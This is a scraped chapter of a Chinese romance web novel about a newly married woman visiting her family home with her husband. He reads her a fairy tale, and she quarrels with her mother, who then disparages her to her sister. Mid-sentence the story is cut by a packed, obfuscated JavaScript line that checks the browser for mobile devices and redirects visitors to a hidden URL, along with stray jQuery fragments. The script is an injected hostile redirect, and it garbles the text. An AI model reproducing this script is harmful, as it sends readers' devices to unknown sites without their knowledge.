29. 第 29 章

作品:《新婚手札

    第二十九章


    大概嘴上说着不累不困,但身体还是有点累,就这么躺着躺着,季清叙还是迷迷糊糊睡了过去。


    窗外阳光耀眼,楼下不时还有邻居说话声传来,但这一切都成了哄人入睡的安眠曲。


    再醒来是因为梦里下楼梯一脚踏空,季清叙蹬了一下腿,惊醒。


    醒来抬眼看孟向珩,发现他也皱了皱眉,懵懂睁开双眼,应该是被她吓醒的。


    “吵醒你了?我梦见自己从楼梯下来踏空了。”季清叙歉意道。


    孟向珩搓了搓额头,从床边柜拿来手机看了眼时间,两人才睡了不到一小时。


    “没事,反正我也差不多要醒了。”


    他放下手机,看回身旁与他面对面相拥而卧的季清叙。


    大眼瞪小眼一会,两人忽然不约而同地笑出了声,没来由的。


    笑完之后,孟向珩说:“睡醒了吗,要不要出去坐会?”


    季清叙想到出去就会跟妈妈大眼瞪小眼,忙说:“出去就算了,实在不想睡了就坐起来靠会。”


    说着,她率先撑着床垫坐起,顺便将枕头叠高,垫在背后。


    孟向珩听出她是不乐意出去碰上她妈妈,心中对她与妈妈之间的疏离有了更具象的了解。


    但他没有劝她要与妈妈缓和关系,家家有本难念的经,亲人之间,若非有了不可调和的矛盾,又怎么会生疏至此。


    孟向珩也坐起来,将枕头垫在身后,侧头看向季清叙:“我们就这样坐等吃晚饭?”


    季清叙也觉得干坐着无聊,便说:“那边玩手机边等?”


    孟向珩听笑:“大好时光用来玩手机,太堕落了吧?”


    季清叙脸一热:“我就是极致堕落分子。”


    她平时工作太忙,除了大假期,平时难得有点碎片时间空闲,不是睡觉就是用来玩手机,或者处理些生活杂事。


    与孟向珩结婚后倒还好了些,因为结婚是两个人真正一起生活,尽管还没到彼此裸裎相见的那一步,但跟单身或者谈恋爱的状态到底不一样,会多出更多事情来填充那些碎片时光。


    孟向珩笑意更盛,目光环视一圈,最终落在床尾靠墙的书架上。


    书架上全是书,不过从书脊上的名目来看,其中大半都是儿童书刊,剩下是一些名著小说。


    “那些都是你小时候的读物?”


    季清叙顺着他目光看了眼,摇摇头,解释:“也不算小时候吧,基本都是初高中省下饭钱买的。那几年我特别喜欢读儿童文学,感觉很治愈。哪怕是现在,我偶尔也会买点儿童绘本看。”


    说着,她想到些什么,建议,“不想玩手机的话,要不看书好了,如果你不介意我这些书太幼稚。”


    “怎么会。”


    孟向珩下床,两三步到书架前。


    之前不知道她爱读儿童文学就算了,现在知道了,他当然会想跟着了解一下她的精神世界,顺便也了解初高中时期的她在看什么想什么。


    孟向珩挑了一本《安徒生全集》,坐到书桌旁的木椅上,翻阅起来。


    季清叙这会不想看书,又因为玩手机被他定性为“堕落”,所以也不好意思玩手机,整个人就有点无所适从。


    扭捏了一会,她又觉得堕落总比傻坐着好,于是去拿手机。


    手机被她放在她那侧床边柜,转身去拿时,她下意识瞄向孟向珩,就像上学时课上干坏事,要先瞄一眼讲台上的老师一样。


    结果视线刚投过去,就碰上了男人擦着书本顶端望过来的视线。


    他戴回了眼镜,灿阳从窗外射入,他镜片上晃着光影,以至于看不清他眼底的情绪。


    每每这种时候,他身上就会有一种莫测感,叫人好奇想窥探,却又觉得敬畏。


    “怎么了?”


    孟向珩开口,小幅度勾了勾唇角,主动驱散了自己身上不近人情的莫测感。


    季清叙回神,不好意思说想玩手机,想了想,找到托词:“你会讲故事么?”


    “什么讲故事?”孟向珩不解。


    “就是有感情地照着书上念。”季清叙指了指他手里的《安徒生童话全集》。


    孟向珩了然,温文笑道:“不知道,没试过,但可以试一试。你要听么?”


    季清叙讶然,反手指自己鼻子:“我?”


    “我都多大了……”她笑言。


    她只是随口一说,没想到孟向珩真要给她讲故事了。


    孟向珩略略正色:“你才多大?知意跟你一样大,还成天跟个小孩一样。”


    顿了顿,又说,“而且你永远比我小五岁。”


    大概从小到大,她从家人口中听到最多的,就是:你都多大了!


    以至于现在听孟向珩说“你才多大”,季清叙一下子有点不适应的懵然。


    片晌,她心中才又生出陌生的,自己也说不清的依托感,迟疑几秒,她笑着点了点头:“好啊,那你讲给我听。”


    孟向珩恰好翻到的是《海的女儿》。


    他垂眸看书页,不一会,朗润舒缓的语调响起:“在海的远处,水是那么蓝,像最美丽的矢车菊花瓣;又是那么清,像最明亮的玻璃……”


    如诗如画的文字从他淡粉色的唇间流淌而出,随性而流畅,很容易就让季清叙眼前出现了故事中所描绘的画面。


    她不觉沉浸其中,屈起双腿,双臂抱住膝盖,脑袋微微歪着,就这么出神地望住给她讲故事的男人。


    不知不觉,她思绪飞散开去,有点荒唐地想,他以后应该会是个很好的父亲吧,有学识、有教养、有爱心、有耐心,还有很多很多财富。


    如果她今后要生孩子,不论其他,仅从“子|宫道德”的角度,也该为自己的小孩选择这样一位父亲。


    在季清叙的胡思乱想中,孟向珩的声音成了背景乐。


    “……现在,那位最大的公主已经到了十五岁,可以浮到水面上去了……”


    季清叙不觉又被他的嗓音唤回神,凝眸朝他望去,突然发现他嘴唇有点干。


    “好了,不要念了。”她忙开口打断他。


    孟向珩朝她望过来,疑惑挑眉:“我念得不好?”


    “当然不是。”季清叙否认,她反手指了指自己双唇,示意他,“你渴不渴,我给你倒杯水吧。”


    经她这么一提醒,孟向珩还真觉得自己渴了。


    他抿了抿双唇,恍觉嘴唇有点起干皮。


    “也好。”他点了点头。


    季清叙下床趿上拖鞋,却忽然意识到,水和杯子都在外面厨房,她现在出去,难免碰上妈妈。


    孟向珩看穿她的迟疑,现在再说自己不渴反倒容易让她内疚,所以他只站起来说:“我自己出去拿水。”


    季清叙拦住他:“还是我去吧。等下看你自己在找水,我妈还是要找着机会说我不会照顾人。”


    其实除了当面说她,妈妈还喜欢在背后跟别人说她坏话。


    以至于季清叙每每回到老家,都会有种如芒刺背之感,因为她也不知道自己


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049536|161150||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哪个言行举止会被妈妈单独拿出去跟别人闲言碎语。


    所以在不得不呆在老家的日子里,季清叙每次都装聋作哑,自己的任何物品任何琐事都不让妈妈碰。反正被妈妈在外说她不理人,总比被妈妈断章取义地抓住一点话头,添油加醋到处歪曲她要好。


    孟向珩了然,也就不再跟她争,点点头,目送她走出房间。


    拉上房间门,季清叙直接往厨房走,结果还真在厨房遇到了正要准备晚饭食材的妈妈。


    “怎么出来了,不陪着小孟?”


    曾秀艾将一只老鸭放入电砂锅中,再熟练放料酒、生姜、腌笋等配料。


    “他口渴,我来给他拿水。”


    季清叙说了句,看眼砂锅里明显没泡过的腌笋,想了想,还是提醒,“腌笋先用水泡一下,把盐分都泡出来,他不爱吃太咸的。”


    “知道了。”


    曾秀艾应了句,麻利照着季清叙说的做,难得没有因为季清叙向她提出要求,而嫌弃季清叙多事。


    季清叙诧异看了眼妈妈,心里说不清什么滋味。


    她拿了保温壶和一只水杯,正要往回走,曾秀艾又叫住她,朝她房间方向望了眼后,压低声说:“你们回来怎么不安排个司机开车?”


    她在楼下接到他们时就有点在意了,上楼那会听见邻居们碎碎念,心里更是梗得慌,现在终于有机会私下跟女儿表达不满。


    季清叙略感无语:“私人行程,让司机跟着算怎么回事?而且孟向珩平时也不是那种爱使唤人的。”


    曾秀艾啧一声:“没排场怎么让人家相信你真的嫁了个了不得的大老板?”


    季清叙乜她。


    她总会被妈妈三言两语激怒,压着火气的时候,语气就不太好:“你没事吧?”


    可再多的话她也一下子说不出来了,人无语到极致就会失语。


    她转身离开厨房,听见妈妈在身后压着声愤怒道:“我看你就是在骗我们,你嫁的老公根本没你说的那么厉害!你不就是想让我们都看得起你嘛!”


    “你是不是有病”几个字在季清叙嘴边来回奔涌,差点就要脱口而出,但她到底念着身后的女人是她妈妈,强忍着没有说出口。


    她原地顿了顿,而后继续往房间走去。


    中间路过妹妹房门口,刚好碰到妹妹出来。


    姐妹俩互相点了个头,算是打招呼,之后便擦肩而过了。


    季语辰也来厨房倒水喝,曾秀艾怒气未消,当即跟小女儿吐槽刚才自己与大女儿的争执。


    末了,曾秀艾气哼哼说道:“你说她是不是有神经病?好赖不分,我是为了谁,还不是为了她?省得别人说她是在假装豪门阔太。”


    她只顾出气,并不知道季清叙回到房间后,反应过来只拿了一只杯子,刚好自己也有点渴,不好意思与孟向珩共用同一个杯子,于是又来厨房,正好在外面墙角处听到了她说的这番话。


    季语辰也不知姐姐就站在外面。


    明明从妈妈的叙述中意识到,这事多少是妈妈无理取闹,但听妈妈在她面前这么骂姐姐,她心中难免还是生出微妙的痛快。


    季语辰捧着玻璃杯,垂眼冷笑了声:“她本来就有点神经病,你能怎么办呢,生都生了。”


    曾秀艾被附和,更是找到了宣泄口,咬牙道:“我看她能好过到什么时候!”


    季语辰阴阳怪气道:“妈,你可别说这种话。”


    她嗤了声,“祸害遗千年,搞不好,她真要好过一辈子呢。”